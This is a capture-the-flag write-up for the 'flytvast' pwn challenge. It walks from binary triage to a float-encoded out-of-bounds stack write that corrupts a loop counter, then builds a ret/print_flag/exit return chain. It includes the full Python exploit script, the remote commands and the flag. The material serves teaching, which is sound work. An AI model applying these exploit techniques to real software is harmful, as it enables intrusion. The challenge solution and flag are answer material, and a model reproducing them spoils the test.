Flytväst
This is a full English writeup for the flytvast pwn challenge,
starting from initial binary triage and ending with a working exploit that
prints the flag: undut{nu_Flyt3r_det_p4}.
Challenge Setup
The challenge story says you can order an emergency life vest from a system,
but to get the special version you need to break into the service. We are given
the binary flytvast, so the task is classic local binary analysis
followed by remote exploitation.
The session history also showed early operational friction before the actual
memory corruption work paid off: the local binary was initially not executable,
direct plain TCP against the service reset the connection, and the expected
sc client on this machine turned out to be the spreadsheet program
rather than snicat.
Step 1: Basic Recon
The first checks were file type, symbols, and hardening.
file flytvast
readelf -h flytvast
readelf -W -l flytvast
nm -n flytvast
strings -a -n 4 flytvast
This told us:
- The binary is a 64-bit dynamically linked ELF.
- It is not stripped, which is very helpful.
- It has a stack canary.
- NX is enabled.
- It is not PIE, so code addresses are fixed.
Two important symbols immediately stood out: main and
print_flag. A function literally named print_flag
is usually the win function.
Step 2: Reverse the Important Functions
I disassembled the interesting parts:
objdump -d -Mintel flytvast | sed -n '/<main>:/,/^$/p'
objdump -d -Mintel flytvast | sed -n '/<print_flag>:/,/^$/p'
objdump -d -Mintel flytvast | sed -n '/<setup>:/,/^$/p'
print_flag
print_flag opens a local file called flag, reads it,
and prints the contents. That confirms the target function we want to reach.
main
The program asks for repeated measurements. Each line is parsed with
strtod, converted to a float, and stored on the stack.
Input ends when the user sends a blank line.
The logic is approximately:
int count = 0;
char buf[0x20];
while (1) {
printf("> ");
fgets(buf, 0x20, stdin);
if (buf[0] == '\n') {
break;
}
float x = (float)strtod(buf, 0);
store[count] = x;
count++;
}
for (int i = 0; i < count; i++) {
printf("%lf\n", (double)store[i]);
}
The bug is that store[count] is not a real bounded array. The write
is computed relative to the input buffer on the stack, and after a few inputs
it walks into other local variables.
Step 3: Find the Vulnerability
The critical detail is the stack layout. The write destination for the parsed
float starts at one stack offset, while the variable count itself
lives a little higher on the stack.
After four normal inputs, the fifth float write lands directly on
count. That means the program lets us overwrite the loop counter
with the raw 32-bit bits of a float value.
Once count is corrupted, the next float is written wherever the new
index points. This turns the bug into an attacker-controlled stack write.
count, and the 6th+ inputs can write chosen
32-bit values to selected stack slots.
Step 4: Why a Simple Ret2win Was Not Enough
The first idea was to overwrite the saved return address of main
directly with print_flag. That almost worked, but there was a catch.
Returning straight into print_flag does not give it a valid return
address in the stack layout it expects. After printing the flag, it crashes.
The clean solution is to build a tiny return chain:
ret gadget -> print_flag -> exit@plt
That extra ret fixes stack alignment and gives
print_flag a proper return target.
Step 5: Convert Addresses into Float Inputs
The binary stores each input as a 32-bit float. So to write a chosen 32-bit value, we reinterpret those bits as a float and send the float string.
Important values were:
retgadget at0x401566print_flagat0x4012b6exit@pltat0x4011c0- Raw value
8to force the next write index where we want it
Examples of the converted float strings:
0x00000008 -> 0x1p-146
0x00401566 -> 0x1.0055980000000p-127
0x004012b6 -> 0x1.004ad80000000p-127
0x004011c0 -> 0x1.0047000000000p-127
Step 6: Final Payload
The working input sequence was:
1
2
3
4
0x1p-146
0
0x1.0055980000000p-127
0
0x1.004ad80000000p-127
0
0x1.0047000000000p-127
0
What each line does:
1,2,3,4: fill the normal float slots.0x1p-146: overwritecountwith raw value8.- Next
0: clobber the high part of the adjacent stack slot. - Next pair: write the address of the plain
retgadget. - Next pair: write the address of
print_flag. - Next pair: write the address of
exit@plt. - Blank line: stop input and let
mainreturn into the chain.
fgets() for NULL, so EOF made it keep printing
prompts instead of cleanly breaking. The payload had to end with a real empty
line, which is why the final exploit input includes two trailing newlines.
Step 7: Remote Connection Problem
There was one operational issue unrelated to exploitation: the challenge
infrastructure used TLS/SNI on *.chals.io. On this machine,
sc was not snicat; it was the unrelated spreadsheet
calculator package from Debian.
The workaround was to use openssl s_client as the transport layer.
That handled TLS correctly and let the exploit send the payload to the service.
This was not the first remote attempt. A plain socket version was tried first,
but the service closed the connection with a reset. The successful path was to
add an openssl-backed transport to the exploit script so it could
speak TLS with the right SNI for *.chals.io.
python3 solve_flytvast.py --remote undutmaning-flytvast.chals.io --port 443 --no-ssl
ConnectionResetError: [Errno 104] Connection reset by peer
python3 solve_flytvast.py --remote undutmaning-flytvast.chals.io --port 443 --openssl
...
undut{nu_Flyt3r_det_p4}
Step 8: Exploit Script
A Python script was written to automate both local and remote exploitation. The
final version supports local execution, raw socket mode, and an
openssl-backed remote mode.
python3 solve_flytvast.py --remote undutmaning-flytvast.chals.io --port 443 --openssl
The session log confirms that adding --openssl was the final
operational fix. Once that transport existed, the exact same exploit logic that
worked locally also worked against the remote challenge service.
How solve_flytvast.py Works
The script is intentionally small. At the top it hardcodes the three addresses
used by the chain: the plain ret gadget, print_flag,
and exit@plt.
RET_GADGET = 0x401566
PRINT_FLAG = 0x4012B6
EXIT_PLT = 0x4011C0
The helper u32_to_float_hex() converts a raw 32-bit integer into
the hexadecimal float string that the vulnerable program will parse with
strtod. That is the bridge between exploit addresses and valid text
input.
The real exploit is assembled in build_payload(). It returns one
byte string containing the four filler measurements, the float that overwrites
count with raw value 8, the zero dwords used for the
high halves, the low 32-bit halves of the chain addresses, and finally the two
trailing blank lines needed to terminate input cleanly.
After that, the script only has transport wrappers:
run_local(): executes the local binary, checks that it exists and is executable, then feeds the payload through stdin.run_remote(): uses Python sockets and can optionally wrap them in TLS.run_remote_openssl(): shells out toopenssl s_client -connect host:port -servername host -quiet, which was the reliable solution for this challenge host.
The main() function is just argument parsing. If --remote
is set, it chooses either the Python socket transport or the openssl
transport. Otherwise it attacks the local binary. In every case it writes the
captured bytes directly to stdout so the user sees the same service output they
would see manually.
Actual Script
#!/usr/bin/env python3
import argparse
import os
import socket
import ssl
import struct
import subprocess
import sys
RET_GADGET = 0x401566
PRINT_FLAG = 0x4012B6
EXIT_PLT = 0x4011C0
def u32_to_float_hex(value: int) -> str:
return struct.unpack("<f", struct.pack("<I", value))[0].hex()
def build_payload() -> bytes:
lines = [
"1",
"2",
"3",
"4",
u32_to_float_hex(8),
"0",
u32_to_float_hex(RET_GADGET),
"0",
u32_to_float_hex(PRINT_FLAG),
"0",
u32_to_float_hex(EXIT_PLT),
"0",
"",
"",
]
return ("\\n".join(lines)).encode()
def run_local(binary_path: str) -> bytes:
if not os.path.exists(binary_path):
raise FileNotFoundError(f"binary not found: {binary_path}")
if not os.access(binary_path, os.X_OK):
raise PermissionError(
f"binary is not executable: {binary_path} "
f"(run: chmod +x {binary_path})"
)
proc = subprocess.run(
[binary_path],
input=build_payload(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=os.path.dirname(os.path.abspath(binary_path)) or ".",
check=False,
)
return proc.stdout
def run_remote(host: str, port: int, use_ssl: bool) -> bytes:
sock = socket.create_connection((host, port))
if use_ssl:
ctx = ssl.create_default_context()
sock = ctx.wrap_socket(sock, server_hostname=host)
with sock:
sock.sendall(build_payload())
sock.shutdown(socket.SHUT_WR)
chunks = []
while True:
chunk = sock.recv(4096)
if not chunk:
break
chunks.append(chunk)
return b"".join(chunks)
def run_remote_openssl(host: str, port: int) -> bytes:
proc = subprocess.run(
[
"openssl",
"s_client",
"-connect",
f"{host}:{port}",
"-servername",
host,
"-quiet",
],
input=build_payload(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
check=False,
)
return proc.stdout
def main() -> int:
parser = argparse.ArgumentParser(description="Exploit for the flytvast challenge binary.")
parser.add_argument("--binary", default="./flytvast", help="Path to local binary")
parser.add_argument("--remote", help="Remote host")
parser.add_argument("--port", type=int, default=443, help="Remote port")
parser.add_argument(
"--no-ssl",
action="store_true",
help="Disable TLS for remote mode",
)
parser.add_argument(
"--openssl",
action="store_true",
help="Use openssl s_client for remote mode instead of Python sockets",
)
args = parser.parse_args()
if args.remote:
if args.openssl:
output = run_remote_openssl(args.remote, args.port)
else:
output = run_remote(args.remote, args.port, not args.no_ssl)
else:
output = run_local(args.binary)
sys.stdout.buffer.write(output)
return 0
if __name__ == "__main__":
raise SystemExit(main())
Flag
undut{nu_Flyt3r_det_p4}
Takeaways
- A stack canary does not help if the exploit avoids overwriting it.
- Non-PIE binaries make ret2win-style attacks much easier.
- Float parsing bugs can still become precise write primitives.
- Sometimes the exploitation is easy and the transport layer is the real annoyance.
Files used during solving: flytvast and
solve_flytvast.py.